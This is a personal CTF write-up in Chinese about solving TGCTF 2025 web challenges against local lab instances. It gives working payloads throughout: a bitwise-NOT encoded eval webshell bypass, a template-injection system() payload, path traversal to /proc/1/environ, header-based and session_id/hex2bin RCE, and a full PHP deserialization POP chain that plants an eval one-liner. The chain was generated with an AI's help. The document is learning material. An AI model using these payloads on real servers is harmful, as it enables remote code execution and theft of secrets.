当时,周六早九点开赛,晚上九点结束,但我七点就去机房开会了。做出了四道题目。
火眼辩魑魅 当时比赛时做出来了
shell学姐会让青春CTF少年脸红吗?只有一个洞是通的,看不出来的话就尝试每个漏洞都试一遍哦,杂鱼~
我先是目录扫描,发现了robotx.txt 访问
User-Agent: * Disallow: tgupload.php Disallow: tgshell.php Disallow: tgxff.php Disallow: tgser.php Disallow: tgphp.php Disallow: tginclude.php
六个,都可以访问,都有可能拿到flag,但只会是一个(题目告诉你了)。题目还告诉你shell学姐,其实就是gtshell.php的那个文件 对于第一个,http://127.0.0.1:51596/tgupload.php。
Warning: move_uploaded_file(uploads/muma.php): failed to open stream: Permission denied in /var/www/html/tgupload.php on line 46 Warning: move_uploaded_file(): Unable to move '/tmp/phpjniMhk' to 'uploads/muma.php' in /var/www/html/tgupload.php on line 46 文件保存出错!
这个应该就是不可以的,我也没有试太多。好像学长是靠这个做了出来,我没有试太多 对于第二个,我是拿这个解出来的,但是看官方的wp,不是这个
<?php $shell=$_POST["shell"]; { eval($shell); } ?> 哇,贞德是你鸭!
我们抓包发送到reperter,修改请求方式,发现这里可以取反绕过 取反脚本
<?php $a = urlencode(~'phpinfo'); echo $a; ?>
先system(‘ls /‘);,shell=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0); tgfffffllllaagggggg有这个,cat /tgfffffllllaagggggg 拿到flag 第三个tgxff是官方的做法,一进去显示你电脑的IP是:127.0.0.1 我们用hackbar来输入xff,输入49是有回显49的,但是你后面来输入其他的”.__class__这些都不可以* 我就以为不可以了,但是官方的wp
{if system('cat /tgf*');}{/if}
官方wp有点问题,分号不要 应该是:{if system(‘cat /tgf*’)}{/if},最后拿到flag了* 这里我还有一个问题是对于各种模板的注入,我基本只掌握了jinjia2的
{if system('cat /tgf*')}{/if} 这种语法格式是特定模板引擎的表现。不同的模板引擎有着各自独特的语法规则。常见的像 Twig 模板引擎,它的语法风格就和常用的以 {{ }} 为输出、{% %} 为逻辑控制(如 Django、Jinja2 等模板引擎)有很大差异 。在 Twig 中,条件判断使用 {if} 和 {/if} 结构 ,如果在使用 Twig 等类似语法规则的模板引擎的项目中进行服务器端模板注入(SSTI)攻击,就可能会用到这种语法来构造恶意语句
第四个,是一个反序列化的,当时是问了ai,用了它的payload没有解决出来,就算了。没有细看 第五是只放出来数字这些,也没细看 第六个http://127.0.0.1:50092/tginclude.php,把你要包含的文件给显示出来, 我没有尝试很多,可能会有非预期的解能拿到flag ../../../../proc/1/environ试了这个不可以
直面天命 当时做出来了 filename随便读,这里读?filename=../../../../proc/1/environ。我读的是filename为flag也可以哎 我做出这道题也是非预期解,哈哈 首先是查看网页源代码,有个hint,告诉你还有一个路由,路由是由四个小写字母组成的 写一个脚本,把所有四个小写字母组成的情况写入一个文件,一行一行的,进行爆破,得到/aazz 后面直接出提示了,免费给你,就没有意思了 我们在这里访问/aazz 请求头有一个 inline; filename=file.html 我构造?filename=flag,直接拿到flag了 这里也可以使用?filename=../../../../proc/1/environ拿到flag 还有一些疑问问了ai
?filename=../../../../proc/1/environ,前面的四个../是什么意思,固定的吗 ../../../../ 中的 ../ 是在类 Unix 系统(如 Linux、MacOS 等)文件路径表示里用于目录回溯的符号。以下是详细解释: 含义:.. 代表当前目录的父目录 ,/ 是路径分隔符 。../ 组合起来就表示向上一级目录移动。../../../../ 就是连续四次向上回溯目录,比如当前在 /var/www/html 目录下,使用 ../../ 就会回到 /var 目录。 是否固定:不是固定的 。使用几个 ../ 取决于目标文件或目录相对于当前目录的位置关系。比如目标文件在当前目录的上两级目录,那就用 ../../ ;如果在当前目录下的子目录中,就不需要用 ../ ,直接写子目录名和文件名即可。 在 ?filename=../../../../proc/1/environ 中,大概率是利用文件包含漏洞等场景下构造的路径。攻击者试图通过多次回溯目录,突破当前目录限制,去访问 /proc/1/environ 这个文件(/proc/1/environ 存储着进程号为 1 的进程的环境变量信息 ),以获取敏感信息。
1改为2就不存在了,这样显示的 当然,这两种方法都是非预期解
这时候进行参数字典爆破。发现有一个filename可以传参。 然后filename是一个文件读取的函数。 这时候我们直接读取app.py的源码。 发现里面有: import os import string from flask import Flask, request, render_template_string, jsonify,send_from_directory from a.b.c.d.secret import secret_key 狂风之中,恍惚之时,只听闻断续传来: 参数......?(本页面可以传参) 所以可知/a/b/c/d/secret里面有secret_key。是直面天命。
后面就是一个ssti,我没有完全复现,它那个地址没搞懂,找不到页面 绕过的具体过程也不是很懂
AAA偷渡阴平 当时比赛时做出来了
<?php $tgctf2025=$_GET['tgctf2025']; if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){ //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi eval($tgctf2025); } else{ die('(╯‵□′)╯炸弹!•••*~●'); } highlight_file(__FILE__);
这个应该有很多非预期解,所以后面上线了一个复仇版 ?tgctf2025=print_r(pos(getallheaders())); 有回显,回显了close Connection: close 我们改print_r为eval,再改close为我们要执行的命令,拿到flag Connection: system(‘cat /flag’);,最后拿到flag
什么文件上传? 这个当时比赛时也做出来了,花了很多时间 访问robots.txt,有两个重要信息
User-Agent: * Disallow: /admin/ Disallow: /private/ Disallow: /baidu Disallow: /s? Disallow: /unlink Disallow: /phar Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!--> Disallow: /class.php
一个就是之前也遇到过的,我们要写一个脚本,所有的三个小写字母的组合,一行一行地写进文件里面,然后我们去爆破 好像后缀是.atg这个。我试了.php.atg,.atg.php等等都不行,还有上传.htaccess,.user.ini这些都不可以。无法当成可执行的脚本,连接蚁剑这些都是不可以的 访问/class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
<?php highlight_file(__FILE__); error_reporting(0); function best64_decode($str) { return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str))))); } class yesterday { public $learn; public $study="study"; public $try; public function __construct() { $this->learn = "learn<br>"; } public function __destruct() { echo "You studied hard yesterday.<br>"; return $this->study->hard(); } } class today { public $doing; public $did; public $done; public function __construct(){ $this->did = "What you did makes you outstanding.<br>"; } public function __call($arg1, $arg2) { $this->done = "And what you've done has given you a choice.<br>"; echo $this->done; if(md5(md5($this->doing))==666){ return $this->doing(); } else{ return $this->doing->better; } } } class tommoraw { public $good; public $bad; public $soso; public function __invoke(){ $this->good="You'll be good tommoraw!<br>"; echo $this->good; } public function __get($arg1){ $this->bad="You'll be bad tommoraw!<br>"; } } class future{ private $impossible="How can you get here?<br>"; private $out; private $no; public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20; public function __set($arg1, $arg2) { if ($this->out->useful7) { echo "Seven is my lucky number<br>"; system('whoami'); } } public function __toString(){ echo "This is your future.<br>"; system($_POST["wow"]); return "win"; } public function __destruct(){ $this->no = "no"; return $this->no; } } if (file_exists($_GET['filename'])){ echo "Focus on the previous step!<br>"; } else{ $data=substr($_GET['filename'],0,-4); unserialize(best64_decode($data)); } // You learn yesterday, you choose today, can you get to your future? ?>
这题非预期解是base64_encode()五次,并且直接传参filename。 直接获取shell。然后wow用POST传参,就是一句话木马,flag在环境变量。 当时用的是ai的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
<?php class yesterday { public $learn; public $study = "study"; public $try; public function __destruct() { return $this->study->hard(); } } class today { public $doing; public function __call($arg1, $arg2) { return $this->doing->better; } } class future { public function __toString() { @eval($_POST['a']); // 蚁剑的一句话 return "win"; } } $y = new yesterday(); $t = new today(); $f = new future(); $t->doing = $f; $y->study = $t; $payload = serialize($y); for ($i = 0; $i < 5; $i++) { $payload = base64_encode($payload); } echo $payload;
get方式传上面的结果,post方式传wow=tac /flag,最后拿到flag
AAA偷渡阴平(复仇) 这里就是把很多非预期解给禁了,需要你用他预期的方法
<?php $tgctf2025=$_GET['tgctf2025']; if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){ //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi eval($tgctf2025); } else{ die('(╯‵□′)╯炸弹!•••*~●'); } highlight_file(__FILE__);
这不是明显的要你用预期解吗?禁的都是非预期解会用到的东西 考点总结:PHP session_id 绕过waf RCE 题目描述:web签到1。简单的PHP特性,ban了无参RCE
无参数sessionRCE: session(php7以下): session_start():启动新会话或者现有会话,成功开始新会话返回TRUE,反之返回FALSE session_id(session_start()).外面可以再加一个print_r。 Print_r改为show_source(),用bp抓包修改PHPSESSID的值为./flag。用show_source读取flag文件源代码 重点:1.我抓包,cookie里有phpsessid=。。。 2.尝试print_r(session_id(session_)start())返回的结果是我的这个。。。 3.用bp将phpsessid的值改为./flag,改print_r为show_source。 4.最后拿到flag 5.或者修改外部函数为eval(),修改phpsession的值为命令为‘phpinfo();’但是无法直接执行,需要先把命令'phpinfo();'HEX编码为十六进制,写入PHPSESSION.再用hex2bin函数将16进制改为而进制数,用eval()执行。?code=eval(hex2bin(session_id(session_start()))); session ?code=evẩl(hex2bin(session id(session start()))) 修改外部函数为eval() 修改PHPSESSID的值为命令'phpinfo(); 无法直接执行,需先把命令'phpinfo();HEX编码转为十六进制,写入PHPSESSID 再用hex2bin()函数将十六进制转换为二进制数,用eval执行
这是之前我看一些课程记得笔记,没遇到过自然不是很熟悉,也不太会用 把课再听一遍(相关部分),再补充一下笔记,再来做这道题目 ?tgctf2025=session_start();system(hex2bin(session_id())); PHPSESSID=636174202f666c6167 的十六进制